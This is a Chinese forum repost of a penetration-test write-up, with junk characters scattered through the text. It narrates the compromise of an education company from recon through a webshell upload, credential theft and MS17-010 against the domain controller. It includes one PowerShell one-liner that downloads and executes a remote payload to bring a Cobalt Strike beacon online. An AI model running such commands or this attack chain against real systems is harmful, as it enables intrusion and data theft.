9 _/ h! o; h- V: U* q8 \" O/ i 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
- V ]! J3 u% t0 q; }1 g" B. i ; v) a% ^' n, ]& E
正文
8 |3 i$ r2 ~( C$ b: z, w0 \# O! K e+ e" W+ r2 ^8 R
( `0 X1 U! j" n3 F6 x3 A( A" r) F, r& _
目标:www.xxxx.com(一家教育机构)
% c: a3 t1 Z! Y$ H# ]
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
* A k/ `( {3 U) w# ^
进行了简单的信息搜集
子域名搜集
, z( [9 K- ^8 P- ~5 x
" C3 g7 a" z1 w/ q
fofa找资产
' \' c g `: {9 J3 p
% m+ Q2 t% s+ G- z) V/ u
一共七个资产。去重之后只有两个。
9 f3 @6 o# ] z, A9 X
6 [- V) A: h$ e/ c, j
. S8 ^! m4 `2 m! @ d 目录探测
7 w [7 d5 @5 m+ M$ X4 M6 D$ F
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
% @. Y1 }: U" T
. u. o3 n+ c9 i
. U S3 o. T# Q7 w5 e+ y
5 G$ W5 {4 W' @7 E* k. |) ^ 我又尝试了通过修改返回包来绕过登录界面
( J' d7 e( T% Q1 g
% \; L0 {! L4 W 还是不行,尝试注入无果7 v5 ]& p+ i9 E: P/ ^
H& @$ Y$ N1 ~6 j$ A, b
) R! h- u! e0 V4 d& O" }
不过我目录探测出了一处Spring信息泄露
3 @8 I7 E u8 Y0 E9 l* A
8 r) ]/ o3 q0 v$ D$ G3 F2 V& _2 o
4 k+ n& {+ V( ?. S
尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
- @" r0 u3 V- C
. N' M. Y4 @- M0 d3 k/ r( L* S
# c! L" p9 I1 B1 d- T" \; q1 R 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
9 E3 ~+ L# ?$ u/ ]
, ]& y; y3 x/ |
7 o2 w$ N0 r" {& D! X& S! b& G 获取有些师傅到这一步就手机抓包电脑测了。
* N7 p' w7 ^# b Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。3 m3 L7 N$ z, B( \; K
) ?) O* q, j1 R- g* @* A其中在一个公众号发现了小程序,可以进行注册。2 s. n: C: D d! t
1 g! P( D4 m/ O6 t( N$ K4 D, C2 ]0 l5 }* P3 e 看到了头像上传,尝试上传获取WebShell6 C9 i7 Q9 f: f ^1 e# W
8 g8 }/ o7 g, S+ z% N1 A* Q8 R
7 F/ a. v5 A$ A9 B
( R7 J" d n, T$ P& f 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问, x. c6 |. V. H8 A
* o" l. p# O( E( b1 M4 q1 x
( f7 B/ D$ T& X7 K; h/ |
然后上了大马. r% {) b7 n$ O6 `, a! U- b
8 \3 J; H; o3 Z' s$ A) v" F# V5 A# A
! o+ F6 v& E5 D$ c! I x 通过翻找文件发现数据库账号密码0 I4 q7 Z7 X5 T5 H% |# p& ?
* K3 B$ {6 p5 A8 b d! D7 Y! z
- }* s; B; V% g# Y. f --内网渗透" C: Y; G- m( m5 I! R' ~
; }3 I, m. O7 x: y/ |直接通过powershell执行 cs上线& } m+ w2 j/ r. T- {/ @/ Z0 I
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"# t! U+ u" _- ~
# O7 Y) A* [6 [% v2 s
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破. _" q+ B! \' e" Q; t& A
/ e4 l- `/ W, V ^3 T: |$ X1 J: T
) i/ O: L, v" Q. v/ }8 h8 d
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
; ?- v1 d' S7 k) w. r5 W
' p) V8 r/ K X, F3 I3 `
6 l, a: p( V. V6 |* N5 {
) y- h$ g* @/ n, j: |
% n+ e4 v. Y3 E h
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
2 {& v+ C7 p: j8 I( T0 U$ u/ Q
, Y) @0 R( v7 D6 c s) y+ e$ t6 S7 d
6 H1 G; i) ^' \+ [. H' ~/ _
7 g# `+ }4 D- h) R0 B$ K1 m# |; M5 J
. P* t" H5 R3 ~1 c: S& d
i5 R0 B& @7 c/ z9 e5 c 小结
5 j& J' b3 W* _. ` 1 H7 c) D- `, H6 q
8 d9 y2 G3 X7 C+ t" ~, k! [5 X- A) s 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!
; j8 `/ }- o7 Y( T5 x 7 E7 a: `' L) {
- E" }8 C9 \( T1 i作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
3 }: Y# m1 Q' R* l9 B7 y' L6 s! ^8 D# X+ Z* [
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |